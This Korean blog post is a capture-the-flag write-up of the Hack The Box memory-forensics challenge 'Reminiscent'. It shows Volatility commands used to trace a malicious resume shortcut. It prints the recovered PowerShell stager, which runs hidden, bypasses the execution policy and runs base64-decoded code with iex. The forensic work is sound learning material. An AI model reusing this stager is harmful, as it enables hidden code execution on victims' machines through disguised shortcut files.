CTF/hackthebox

[Hack The Box] Reminiscent

Ron Weasley 2023. 1. 7. 00:20

새해에 앞서 CTF 실력이...많이 좋지 않은걸 깨닫고 나름 퀄리티 좀 있는 사이트인 Hack The Box에서 기본적으로 제공해주는 문제를 풀어보기로 결심했다...이 문제를 시작으로 포렌식 문제를 모두 풀어볼 것 이다.

 

문제를 보겠습니다.

Suspicious traffic was detected from a recruiter's virtual PC.
A memory dump of the offending VM was captured before it was removed from the network for imaging and analysis.
Our recruiter mentioned he received an email from someone regarding their resume.
A copy of the email was recovered and is provided for reference.
Find and decode the source of the malware to find the flag.

해석을 좀 해보면, 채용 담당자의 가상 PC에서 의심스러운 트래픽이 탐지가 되었고, 문제가 있는 가상 PC의 메모리 덤프가 이미징 분석을 위해 네트워크에서 제거되기 전 캡처가 되었다고 한다. 채용 담당자랑 인터뷰를 한 결과 누군가로부터 이력서와 관련된 이메일을 받았고, 이메일 사본을 가지고 추측하여 멀웨어의 소스를 찾는 문제이다.

 

주어진 파일을 보면 다음과 같다.

elf 파일, txt 파일, eml 파일 총 3개로 구성이 되는데 일단 메모리 포렌식을 이용해야 되기 때문에 imageinfo.txt에 프로파일이 적혀있고, eml 파일을 보면 대화 내용을 볼 수 있다.

일단, 이것을 보면 보낸 사람은 Brian Loodworm이고 받는 사람은 flounder라는 사람이다.

 

바로 분석을 시작하도록 하겠다. 사용할 도구는 volatility로 메모리 포렌식 분석을 위해 만들어진 도구이다.

문제 키워드에서 수상한 이메일이라고 했으니 이메일과 관련된 프로세스가 있는지 봐야한다.

volatility_2.6_win64_standalone.exe -f .\flounder-pc-memdump.elf --profile=Win7SP1x64 pstree

explorer.exe 프로세스의 자식 프로세스 중, Thunderbird라는 모질라 기반으로 만들어진 이메일 프로그램이 존재한다.

이 프로그램을 메모리 덤프떠서 사본으로 준 이메일 파일에 있던 송, 수신자를 검색해보도록 하겠다.

volatility_2.6_win64_standalone.exe -f .\flounder-pc-memdump.elf --profile=Win7SP1x64 memdump -p 2812 -D ./

메모리 덤프를 떳으면, 바로 strings로 문자열화 시켜줍니다. 그 이유는 덤프를 바로 뜨게되면 쓰레기 값들이 같이 떠지기 때문에 쓰레기 값들을 지우려고 strings를 사용하는 것입니다.

 

이제 strings화 된 파일을 노트패드로 열고 찾은 이메일들을 검색을 해보면, 이 이메일 프로그램으로 메일을 주고 받았다는 것을 확신할 수 있습니다.

다음은 resume.zip 파일이 이메일 안에 첨부가 되어 있었는데 가상 PC를 메모리 덤프를 뜰 시점에 저 파일이 있다면 분명히 주소 어딘가에 남아있을거라는 생각에 filescan 명령어로 찾아봤습니다.

volatility_2.6_win64_standalone.exe -f .\flounder-pc-memdump.elf --profile=Win7SP1x64 filescan | findstr "resume"

이 명령어를 수행하면, 2개의 파일이 나옵니다.

resume.pdf.lnk 파일이 있다는것은 바로가기 파일이며 문제에서 이력서를 받았다고 했습니다.

 

링크 파일은 바탕화면이나 시작 메뉴 등에 주로 쓰는 프로그램을 놓을 때 원본 위치를 가리키는데, 최근에는 바이러스 유포 등에 악용되고 있는 사례중 하나가 다운로드한 파일에 링크파일이 있다면 감염이 된다는 것입니다.

보통...이런 경우에는 스크립트를 이용한 악성코드일 가능성이 높기 때문에 멀웨어 소스를 찾는거 보니 스크립트 코드로 되어 있을 것 같다는 추측입니다.

 

일단 저 파일을 추출해봅시다.

volatility_2.6_win64_standalone.exe -f .\flounder-pc-memdump.elf --profile=Win7SP1x64 dumpfiles -Q 0x000000001e8feb70 -D ./

추출을 하게 되면, 파일이 하나 떨궈집니다. 떨궈진 파일을 hxd 로 열어보면 windows powershell과 같은 데이터들이 남아 있는것을 볼 수 있습니다.

조금 더 내려보시면, 파워쉘 스크립트가 나오는데 조금만 가져오겠습니다.

Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win hidden -Ep ByPass $r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQPTMyMzAsOTY3NjskZj0ncmVzdW1lLnBkZi5sbmsnO2lmKC1ub3QoVGVzdC1QYXRoICRmKSl7JHg9R2V0LUNoaWxkSXRlbSAtUGF0aCAkZW52OnRlbXAgLUlciAkZiAtUmVjdXJzZTtbSU8uRGlyZWN0b3J5XTo6U2V0QmVudERpcmVjdG9yeSgkeC5EaXJlY3RvcnlOYW1lKTt9JGxuaz1OZXctT2JqZWN0IElPLkTdHJlYW0gJGYsJ09wZW4nLCdSZVhZFdyaXRlJzskYjY0PU5ldy1PYmplY3QgYnl0ZVtdKCRzaVApOyRsbmsuU2Vlac3RQLFtJTy5TZWVrT3JpZ2luXTo6QmVnaW4pOyRsbmsuUmVhZCgkYjY0LDAsJHNpUCk7JGI2ND1bQ29udmVydF06OkZyb21CYXNlNjRDaGFyQXJyYXkoJGI2NCwwLCRiNjQuTGVuZ3RoKTskc2NCPVtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGI2NCk7aWV4ICRzY0I7')); iex $r;

뭐 이런느낌인데...text를 base64로 인코딩된 문자열을 파라미터로 받겠다. 그래서 방금 추출했던 파일을 좀 살펴보다보면 인코딩 된 문자열들을 볼 수 있습니다.

끝까지 추출해서 디코딩하면 flag 값을 볼 수 있습니다.

 

결국엔, 파워쉘 스크립트를 좀 해석하면 위에 저 스크립트 코드를 base64로 받는다고 했으니까 base64로 인코딩 한 문자열을 파라미터로 준 것입니다.

 

역시...핵더박스 문제 퀄리티 좋네요 ㅋㅋㅋㅋ